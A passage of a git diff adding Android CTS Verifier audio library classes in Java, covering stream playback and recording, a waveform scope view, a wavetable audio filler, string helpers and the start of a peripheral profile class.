+                for (int chan = 0; chan < mNumChans; chan++) {
+                    mBurstBuffer[buffIndex++] *= mChanGains[chan];
+                }
+            }
+        }
+    }
+
+    public void setFiller(AudioFiller filler) { mFiller = filler; }
+
+    public void setRouting(AudioDeviceInfo routingDevice) {
+        mRoutingDevice = routingDevice;
+        if (mAudioTrack != null) {
+            mAudioTrack.setPreferredDevice(mRoutingDevice);
+        }
+    }
+
+    public AudioTrack getAudioTrack() { return mAudioTrack; }
+
+    private void allocBurstBuffer() {
+        mBurstBuffer = new float[mNumBurstFrames * mNumChans];
+    }
+
+    private static int calcNumBufferBytes(int sampleRate, int numChannels, int encoding) {
+        return AudioTrack.getMinBufferSize(sampleRate,
+                    AudioUtils.countToOutPositionMask(numChannels),
+                    encoding);
+    }
+
+    private static int calcNumBufferFrames(int sampleRate, int numChannels, int encoding) {
+        return calcNumBufferBytes(sampleRate, numChannels, encoding)
+                / AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
+    }
+
+    public static int calcNumBurstFrames(AudioManager am) {
+        String framesPerBuffer = am.getProperty(AudioManager.PROPERTY_OUTPUT_FRAMES_PER_BUFFER);
+        return Integer.parseInt(framesPerBuffer, 10);
+    }
+
+    public boolean open(int numChans, int sampleRate, int numBurstFrames, AudioFiller filler) {
+//        Log.i(TAG, "StreamPlayer.open(chans:" + numChans + ", rate:" + sampleRate +
+//                ", frames:" + numBurstFrames);
+
+        mNumChans = numChans;
+        mSampleRate = sampleRate;
+        mNumBurstFrames = numBurstFrames;
+
+        mNumAudioTrackFrames =
+                calcNumBufferFrames(sampleRate, numChans, AudioFormat.ENCODING_PCM_FLOAT);
+
+        mFiller = filler;
+
+        int bufferSizeInBytes = mNumAudioTrackFrames *
+                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChans);
+        try {
+            mAudioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(AudioUtils.countToIndexMask(mNumChans))
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
+            allocBurstBuffer();
+            return true;
+        }  catch (UnsupportedOperationException ex) {
+            Log.i(TAG, "Couldn't open AudioTrack: " + ex);
+            mAudioTrack = null;
+            return false;
+        }
+    }
+
+    private void waitForPlayerThreadToExit() {
+        try {
+            if (mPlayerThread != null) {
+                mPlayerThread.join();
+                mPlayerThread = null;
+            }
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    public void close() {
+        stop();
+
+        waitForPlayerThreadToExit();
+
+        if (mAudioTrack != null) {
+            mAudioTrack.release();
+            mAudioTrack = null;
+        }
+    }
+
+    public boolean start() {
+        if (!mPlaying && mAudioTrack != null) {
+            mPlaying = true;
+
+            waitForPlayerThreadToExit(); // just to be sure.
+
+            mPlayerThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
+            mPlayerThread.start();
+
+            return true;
+        }
+
+        return false;
+    }
+
+    public void stop() {
+        mPlaying = false;
+    }
+
+    //
+    // StreamPlayerRunnable
+    //
+    private class StreamPlayerRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBurstSamples = mNumBurstFrames * mNumChans;
+
+            mAudioTrack.play();
+            while (true) {
+                boolean playing;
+                synchronized(this) {
+                    playing = mPlaying;
+                }
+                if (!playing) {
+                    break;
+                }
+
+                mFiller.fill(mBurstBuffer, mNumBurstFrames, mNumChans);
+                if (mChanGains != null) {
+                    applyChannelGains();
+                }
+                int numSamplesWritten =
+                        mAudioTrack.write(mBurstBuffer, 0, numBurstSamples, AudioTrack.WRITE_BLOCKING);
+                if (numSamplesWritten < 0) {
+                    // error
+                    Log.i(TAG, "AudioTrack write error: " + numSamplesWritten);
+                    stop();
+                } else if (numSamplesWritten < numBurstSamples) {
+                    // end of stream
+                    Log.i(TAG, "Stream Complete.");
+                    stop();
+                }
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
new file mode 100644
index 0000000..ed25743
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+
+import android.util.Log;
+
+/**
+ * Records audio data to a stream.
+ */
+public class StreamRecorder {
+    @SuppressWarnings("unused")
+    private static final String TAG = "StreamRecorder";
+
+    // Sample Buffer
+    private float[] mBurstBuffer;
+    private int mNumBurstFrames;
+    private int mNumChannels;
+
+    // Recording attributes
+    private int mSampleRate;
+
+    // Recording state
+    Thread mRecorderThread = null;
+    private AudioRecord mAudioRecord = null;
+    private boolean mRecording = false;
+
+    private StreamRecorderListener mListener = null;
+
+    private AudioDeviceInfo mRoutingDevice = null;
+
+    public StreamRecorder() {}
+
+    public int getNumBurstFrames() { return mNumBurstFrames; }
+    public int getSampleRate() { return mSampleRate; }
+
+    /*
+     * State
+     */
+    public static int calcNumBufferBytes(int numChannels, int sampleRate, int encoding) {
+        // NOTE: Special handling of 4-channels. There is currently no AudioFormat positional
+        // constant for 4-channels of input, so in this case, calculate for 2 and double it.
+        int numBytes = 0;
+        if (numChannels == 4) {
+            numBytes = AudioRecord.getMinBufferSize(sampleRate, AudioFormat.CHANNEL_IN_STEREO,
+                    encoding);
+            numBytes *= 2;
+        } else {
+            numBytes = AudioRecord.getMinBufferSize(sampleRate,
+                    AudioUtils.countToInPositionMask(numChannels), encoding);
+        }
+
+        return numBytes;
+    }
+
+    public static int calcNumBufferFrames(int numChannels, int sampleRate, int encoding) {
+        return calcNumBufferBytes(numChannels, sampleRate, encoding) /
+                AudioUtils.calcFrameSizeInBytes(encoding, numChannels);
+    }
+
+    public boolean isInitialized() {
+        return mAudioRecord != null && mAudioRecord.getState() == AudioRecord.STATE_INITIALIZED;
+    }
+
+    public boolean isRecording() { return mRecording; }
+
+    public void setRouting(AudioDeviceInfo routingDevice) {
+        Log.i(TAG, "setRouting(" + (routingDevice != null ? routingDevice.getId() : -1) + ")");
+        mRoutingDevice = routingDevice;
+        if (mAudioRecord != null) {
+            mAudioRecord.setPreferredDevice(mRoutingDevice);
+        }
+    }
+
+    /*
+     * Accessors
+     */
+    public float[] getBurstBuffer() { return mBurstBuffer; }
+
+    public int getNumChannels() { return mNumChannels; }
+
+    /*
+     * Events
+     */
+    public void setListener(StreamRecorderListener listener) {
+        mListener = listener;
+    }
+
+    private void waitForRecorderThreadToExit() {
+        try {
+            if (mRecorderThread != null) {
+                mRecorderThread.join();
+                mRecorderThread = null;
+            }
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private boolean open_internal(int numChans, int sampleRate) {
+        Log.i(TAG, "StreamRecorder.open_internal(chans:" + numChans + ", rate:" + sampleRate);
+
+        mNumChannels = numChans;
+        mSampleRate = sampleRate;
+
+        int chanMask = AudioUtils.countToIndexMask(numChans);
+        int bufferSizeInBytes =
+            AudioRecord.getMinBufferSize(mSampleRate, chanMask, AudioFormat.ENCODING_PCM_FLOAT);
+        try {
+            mAudioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(chanMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
+            return true;
+        } catch (UnsupportedOperationException ex) {
+            Log.i(TAG, "Couldn't open AudioRecord: " + ex);
+            mAudioRecord = null;
+            return false;
+        }
+    }
+
+    public boolean open(int numChans, int sampleRate, int numBurstFrames) {
+        boolean sucess = open_internal(numChans, sampleRate);
+        if (sucess) {
+            mNumBurstFrames = numBurstFrames;
+            mBurstBuffer = new float[mNumBurstFrames * mNumChannels];
+        }
+
+        return sucess;
+    }
+
+    public void close() {
+        stop();
+
+        waitForRecorderThreadToExit();
+
+        mAudioRecord.release();
+        mAudioRecord = null;
+    }
+
+    public boolean start() {
+        mAudioRecord.setPreferredDevice(mRoutingDevice);
+
+        if (mListener != null) {
+            mListener.sendEmptyMessage(StreamRecorderListener.MSG_START);
+        }
+
+        try {
+            mAudioRecord.startRecording();
+        } catch (IllegalStateException ex) {
+            Log.i("", "ex: " + ex);
+        }
+        mRecording = true;
+
+        waitForRecorderThreadToExit(); // just to be sure.
+
+        mRecorderThread = new Thread(new StreamRecorderRunnable(), "StreamRecorder Thread");
+        mRecorderThread.start();
+
+        return true;
+    }
+
+    public void stop() {
+        if (mRecording) {
+            mRecording = false;
+        }
+    }
+
+    /*
+     * StreamRecorderRunnable
+     */
+    private class StreamRecorderRunnable implements Runnable {
+        @Override
+        public void run() {
+            final int numBurstSamples = mNumBurstFrames * mNumChannels;
+            while (mRecording) {
+                int numReadSamples = mAudioRecord.read(
+                        mBurstBuffer, 0, numBurstSamples, AudioRecord.READ_BLOCKING);
+
+                if (numReadSamples < 0) {
+                    // error
+                    Log.i(TAG, "AudioRecord write error: " + numReadSamples);
+                    stop();
+                } else if (numReadSamples < numBurstSamples) {
+                    // got less than requested?
+                    Log.i(TAG, "AudioRecord Underflow: " + numReadSamples +
+                            " vs. " + numBurstSamples);
+                    stop();
+                }
+
+                if (mListener != null && numReadSamples == numBurstSamples) {
+                    mListener.sendEmptyMessage(StreamRecorderListener.MSG_BUFFER_FILL);
+                }
+            }
+
+            if (mListener != null) {
+                // TODO: on error or underrun we may be send bogus data.
+                mListener.sendEmptyMessage(StreamRecorderListener.MSG_STOP);
+            }
+            mAudioRecord.stop();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
new file mode 100644
index 0000000..c542432
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorderListener.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+
+public class StreamRecorderListener extends Handler {
+    @SuppressWarnings("unused")
+    private static final String TAG = "StreamRecorderListener";
+
+    public static final int MSG_START = 0;
+    public static final int MSG_BUFFER_FILL = 1;
+    public static final int MSG_STOP = 2;
+
+    public StreamRecorderListener(Looper looper) {
+        super(looper);
+    }
+
+    @Override
+    public void handleMessage(Message msg) {
+        switch (msg.what) {
+            case MSG_START:
+            case MSG_BUFFER_FILL:
+            case MSG_STOP:
+                break;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveScopeView.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveScopeView.java
new file mode 100644
index 0000000..c52d284
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveScopeView.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.util.AttributeSet;
+import android.view.View;
+
+public class WaveScopeView extends View {
+    @SuppressWarnings("unused")
+    private static final String TAG = "WaveScopeView";
+
+    private final Paint mPaint = new Paint();
+
+    private int mBackgroundColor = Color.WHITE;
+    private int mTraceColor = Color.BLACK;
+
+    private short[] mPCM16Buffer;
+    private float[] mPCMFloatBuffer;
+
+    private int mNumChannels = 2;
+    private int mNumFrames = 0;
+
+    private float[] mPointsBuffer;
+
+    // Horrible kludge
+    private static int mCachedWidth = 0;
+
+    public WaveScopeView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    @Override
+    public void setBackgroundColor(int color) { mBackgroundColor = color; }
+
+    public void setTraceColor(int color) { mTraceColor = color; }
+
+    public void setPCM16Buff(short[] smpl16Buff, int numChans, int numFrames) {
+        mPCM16Buffer = smpl16Buff;
+        mPCMFloatBuffer = null;
+
+        mNumChannels = numChans;
+        mNumFrames = numFrames;
+
+        setupPointBuffer();
+
+        invalidate();
+    }
+
+    public void setPCMFloatBuff(float[] smplFloatBuff, int numChans, int numFrames) {
+        mPCMFloatBuffer = smplFloatBuff;
+        mPCM16Buffer = null;
+
+        mNumChannels = numChans;
+        mNumFrames = numFrames;
+
+        setupPointBuffer();
+
+        invalidate();
+    }
+
+    private void setupPointBuffer() {
+        int width = getWidth();
+
+        // Horrible kludge
+        if (width == 0) {
+            width = mCachedWidth;
+        } else {
+            mCachedWidth = width;
+        }
+
+        // Canvas.drawLines() uses 2 points (float pairs) per line-segment
+        mPointsBuffer = new float[mNumFrames * 4];
+
+        float xIncr = (float) width / (float) mNumFrames;
+
+        float X = 0;
+        int len = mPointsBuffer.length;
+        for (int pntIndex = 0; pntIndex < len;) {
+            mPointsBuffer[pntIndex] = X;
+            pntIndex += 2; // skip Y
+
+            X += xIncr;
+
+            mPointsBuffer[pntIndex] = X;
+            pntIndex += 2; // skip Y
+        }
+    }
+
+    /**
+     * Draws 1 channel of an interleaved block of SMPL16 samples.
+     * @param cvs The Canvas to draw into.
+     * @param samples The (potentially) multi-channel sample block.
+     * @param numFrames The number of FRAMES in the specified sample block.
+     * @param numChans The number of interleaved channels in the specified sample block.
+     * @param chanIndex The (0-based) index of the channel to draw.
+     * @param zeroY The Y-coordinate of sample value 0 (zero).
+     */
+    private void drawChannel16(Canvas cvs, short[] samples, int numFrames, int numChans,
+            int chanIndex, float zeroY) {
+        float yScale = getHeight() / (float) (Short.MAX_VALUE * 2 * numChans);
+        int pntIndex = 1; // of the first Y coordinate
+        float Y = zeroY;
+        int smpl = chanIndex;
+        for (int frame = 0; frame < numFrames; frame++) {
+            mPointsBuffer[pntIndex] = Y;
+            pntIndex += 2;
+
+            Y = zeroY - (samples[smpl] * yScale);
+
+            mPointsBuffer[pntIndex] = Y;
+            pntIndex += 2;
+
+            smpl += numChans;
+        }
+        cvs.drawLines(mPointsBuffer, mPaint);
+    }
+
+    /**
+     * Draws 1 channel of an interleaved block of FLOAT samples.
+     * @param cvs The Canvas to draw into.
+     * @param samples The (potentially) multi-channel sample block.
+     * @param numFrames The number of FRAMES in the specified sample block.
+     * @param numChans The number of interleaved channels in the specified sample block.
+     * @param chanIndex The (0-based) index of the channel to draw.
+     * @param zeroY The Y-coordinate of sample value 0 (zero).
+     */
+    private void drawChannelFloat(Canvas cvs, float[] samples, int numFrames, int numChans,
+            int chanIndex, float zeroY) {
+        float yScale = getHeight() / (float) (2 * numChans);
+        int pntIndex = 1; // of the first Y coordinate
+        float Y = zeroY;
+        int smpl = chanIndex;
+        for (int frame = 0; frame < numFrames; frame++) {
+            mPointsBuffer[pntIndex] = Y;
+            pntIndex += 2;
+
+            Y = zeroY - (samples[smpl] * yScale);
+
+            mPointsBuffer[pntIndex] = Y;
+            pntIndex += 2;
+
+            smpl += numChans;
+        }
+        cvs.drawLines(mPointsBuffer, mPaint);
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        int height = getHeight();
+        mPaint.setColor(mBackgroundColor);
+        canvas.drawRect(0, 0, getWidth(), height, mPaint);
+
+        mPaint.setColor(mTraceColor);
+        if (mPCM16Buffer != null) {
+            float yOffset = height / (2.0f * mNumChannels);
+            float yDelta = height / (float) mNumChannels;
+            for(int channel = 0; channel < mNumChannels; channel++) {
+                drawChannel16(canvas, mPCM16Buffer, mNumFrames, mNumChannels, channel, yOffset);
+                yOffset += yDelta;
+            }
+        } else if (mPCMFloatBuffer != null) {
+            float yOffset = height / (2.0f * mNumChannels);
+            float yDelta = height / (float) mNumChannels;
+            for(int channel = 0; channel < mNumChannels; channel++) {
+                drawChannelFloat(canvas, mPCMFloatBuffer, mNumFrames, mNumChannels, channel, yOffset);
+                yOffset += yDelta;
+            }
+        }
+        // Log.i("WaveView", "onDraw() - done");
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
new file mode 100644
index 0000000..1040eab
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+/**
+ * A AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
+ */
+public class WaveTableFloatFiller implements AudioFiller {
+    @SuppressWarnings("unused")
+    private static String TAG = "WaveTableFloatFiller";
+
+    private float[] mWaveTbl = null;
+    private int mNumWaveTblSamples = 0;
+    private float mSrcPhase = 0.0f;
+
+    private float mSampleRate = 48000;
+    private float mFreq = 1000; // some arbitrary frequency
+    private float mFN = 1.0f;   // The "nominal" frequency, essentially how much much of the
+                                // wave table needs to be played to get one cycle at the
+                                // sample rate. Used to calculate the phase increment
+
+    public WaveTableFloatFiller(float[] waveTbl) {
+        setWaveTable(waveTbl);
+    }
+
+    private void calcFN() {
+        mFN = mSampleRate / (float)mNumWaveTblSamples;
+    }
+
+    public void setWaveTable(float[] waveTbl) {
+        mWaveTbl = waveTbl;
+        mNumWaveTblSamples = waveTbl != null ? mWaveTbl.length - 1 : 0;
+
+        calcFN();
+    }
+
+    public void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    public void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    @Override
+    public void reset() {
+        mSrcPhase = 0.0f;
+    }
+
+    public int fill(float[] buffer, int numFrames, int numChans) {
+        final float phaseIncr = mFreq / mFN;
+        int outIndex = 0;
+        for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+            // 'mod' back into the waveTable
+            while (mSrcPhase >= (float)mNumWaveTblSamples) {
+                mSrcPhase -= (float)mNumWaveTblSamples;
+            }
+
+            // linear-interpolate
+            int srcIndex = (int)mSrcPhase;
+            float delta0 = mSrcPhase - (float)srcIndex;
+            float delta1 = 1.0f - delta0;
+            float value = ((mWaveTbl[srcIndex] * delta0) + (mWaveTbl[srcIndex + 1] * delta1));
+
+            for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+                buffer[outIndex++] = value;
+            }
+
+            mSrcPhase += phaseIncr;
+        }
+
+        return numFrames;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/AudioStringsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/AudioStringsHelper.java
new file mode 100644
index 0000000..e9acacc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/AudioStringsHelper.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.peripheralprofile;
+
+import android.support.annotation.NonNull;
+
+public class AudioStringsHelper {
+    // These correspond to encoding constants defined in AudioFormats.java
+    static private final String formatStrings[] = {
+            "0 Unknown Format",
+            "1 Unknown Format",
+            "2 ENCODING_PCM_16BIT",
+            "3 ENCODING_PCM_8BIT",
+            "4 ENCODING_PCM_FLOAT",
+            "5 ENCODING_AC3",
+            "6 ENCODING_E_AC3" };
+
+    // These too.
+    static private final String shortFormatStrings[] = {
+            "??? [0]",
+            "??? [1]",
+            "PCM16",
+            "PCM8",
+            "PCMFLOAT",
+            "AC3",
+            "E_AC3" };
+
+    static private String encodingToString(int fmt) {
+        return fmt < formatStrings.length ? formatStrings[fmt] : ("" + fmt + "  Unknown Format ");
+    }
+
+    static private String encodingToShortString(int fmt) {
+        return fmt < shortFormatStrings.length
+            ? shortFormatStrings[fmt]
+            : ("" + fmt + "  Unknown Format ");
+    }
+
+    static private String getRateString(int rate) {
+        if (rate % 1000 == 0) {
+            return "" + rate/1000 + "K";
+        } else {
+            return "" + (float)rate/1000 + "K";
+        }
+    }
+
+    @NonNull
+    static public String buildRatesStr(int[] rates) {
+        StringBuilder builder = new StringBuilder();
+        for(int rateIndex = 0; rateIndex < rates.length; rateIndex++) {
+            builder.append(getRateString(rates[rateIndex]));
+            if (rateIndex < rates.length - 1) {
+                builder.append(", ");
+            }
+        }
+        return builder.toString();
+    }
+
+    @NonNull
+    static public String buildEncodingsStr(int encodings[]) {
+        StringBuilder builder = new StringBuilder();
+        for(int encodingIndex = 0; encodingIndex < encodings.length; encodingIndex++) {
+            builder.append(encodingToShortString(encodings[encodingIndex]));
+            if (encodingIndex < encodings.length - 1) {
+                builder.append(", ");
+            }
+        }
+        return builder.toString();
+    }
+
+    @NonNull
+    static public String buildChannelCountsStr(int counts[]) {
+        return makeIntList(counts);
+    }
+
+    @NonNull
+    public static String makeRatesList(int[] values) {
+        return makeIntList(values);
+    }
+
+    @NonNull
+    public static String makeIntList(int[] values) {
+        StringBuilder sb = new StringBuilder();
+        for (int index = 0; index < values.length; index++) {
+            sb.append(values[index]);
+            if (index < values.length - 1) {
+                sb.append(",");
+            }
+        }
+
+        return sb.toString();
+    }
+
+    @NonNull
+    public static String makeHexList(int[] values) {
+        StringBuilder sb = new StringBuilder();
+        for (int index = 0; index < values.length; index++) {
+            sb.append("0x" + Integer.toHexString(values[index]).toUpperCase());
+            if (index < values.length - 1) {
+                sb.append(",");
+            }
+        }
+
+        return sb.toString();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
new file mode 100644
index 0000000..4d14347
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.peripheralprofile;
+
+public class ListsHelper {
+    static public boolean isMatch(int[] a, int[] b) {
+        if (a.length != b.length) {
+            return false;
+        }
+
+        int len = a.length;
+        for (int index = 0; index < len; index++) {
+            if (a[index] != b[index]) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
new file mode 100644
index 0000000..4c3fbb8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.peripheralprofile;
+
+import android.media.AudioDeviceInfo;
+import android.support.annotation.NonNull;
+
+import com.android.cts.verifier.audio.peripheralprofile.ListsHelper;
+
+import java.io.IOException;
+
+import org.xml.sax.Attributes;
+import org.xml.sax.SAXException;
+import org.xml.sax.helpers.DefaultHandler;
+
+public class PeripheralProfile extends DefaultHandler {
+    private String mProfileName;
+    private String mProfileDescription;
+
+    private String mProductName = "";    // From AudioDeviceInfo
+
+    public class ProfileAttributes {
+        public int[] mChannelCounts;
+        public int[] mChannelIndexMasks;
+        public int[] mChannelPositionMasks;
+        public int[] mEncodings;
+        public int[] mSampleRates;
+    }
+
+    ProfileAttributes mOutputAttributes;
+    ProfileAttributes mInputAttributes;
+
+    ProfileButtonAttributes mButtonAttributes;
+
+    //
+    // Accessors
+    //
+    public String getName() { return mProfileName; }
+    public String getDescription() { return mProfileDescription; }
+    public String getProductName() { return mProductName; }
+
+    public ProfileAttributes getOutputAttributes() {
+        return mOutputAttributes;
+    }
+    public ProfileAttributes getInputAttributes() {
+        return mInputAttributes;
+    }
+    public ProfileButtonAttributes getButtonAttributes() {
+        return mButtonAttributes;
+    }
+
+    @Override
+    public String toString() { return mProfileName; }
+
+    public PeripheralProfile(String profileName, String profileDescription,
+                             AudioDeviceInfo outDeviceInfo,
+                             AudioDeviceInfo inDeviceInfo,
+                             ProfileButtonAttributes buttonAttributes) {
+        mProfileName = profileName;
+        mProfileDescription = profileDescription;
+
+        if (outDeviceInfo != null) {
+            mProductName = outDeviceInfo.getProductName().toString();
+
+            mOutputAttributes = new ProfileAttributes();
+            mOutputAttributes.mChannelCounts =
+                outDeviceInfo.getChannelCounts();
+            mOutputAttributes.mChannelIndexMasks =
+                outDeviceInfo.getChannelIndexMasks();
+            mOutputAttributes.mChannelPositionMasks =
+                outDeviceInfo.getChannelMasks();
+            mOutputAttributes.mEncodings = outDeviceInfo.getEncodings();
+            mOutputAttributes.mSampleRates = outDeviceInfo.getSampleRates();
+        } else {
+            mOutputAttributes = null;
+        }
+
+        if (inDeviceInfo != null) {
+            mProductName = outDeviceInfo.getProductName().toString();
+
+            mInputAttributes = new ProfileAttributes();
+            mInputAttributes.mChannelCounts = inDeviceInfo.getChannelCounts();
+            mInputAttributes.mChannelIndexMasks = inDeviceInfo.getChannelIndexMasks();
+            mInputAttributes.mChannelPositionMasks = inDeviceInfo.getChannelMasks();
+            mInputAttributes.mEncodings = inDeviceInfo.getEncodings();
+            mInputAttributes.mSampleRates = inDeviceInfo.getSampleRates();
+        } else {
+            mInputAttributes = null;
+        }
+
+        mButtonAttributes = buttonAttributes;
+    }
+
+    public static boolean matches(ProfileAttributes attribs, AudioDeviceInfo deviceInfo) {
+        boolean match =
+            ListsHelper.isMatch(deviceInfo.getChannelCounts(), attribs.mChannelCounts) &&
+            ListsHelper.isMatch(deviceInfo.getChannelIndexMasks(), attribs.mChannelIndexMasks) &&
+            ListsHelper.isMatch(deviceInfo.getChannelMasks(), attribs.mChannelPositionMasks) &&
+            ListsHelper.isMatch(deviceInfo.getEncodings(), attribs.mEncodings) &&
+            ListsHelper.isMatch(deviceInfo.getSampleRates(), attribs.mSampleRates);
+        return match;
+    }
+
+    //
+    // Peripheral (XML) Loading
+    //
+    private static int[] parseIntList(String intList) {
+        String[] strings = intList.split(",");
+        int[] ints = new int[strings.length];
+        for (int index = 0; index < strings.length; index++) {
+            ints[index] = Integer.parseInt(strings[index]);
+        }
+        return ints;
+    }
+
+    // XML Tags
+    public static final String kTag_Profile = "PeripheralProfile";
+    public static final String kTag_OutputDevInfo = "OutputDevInfo";
+    public static final String kTag_InputDevInfo = "InputDevInfo";
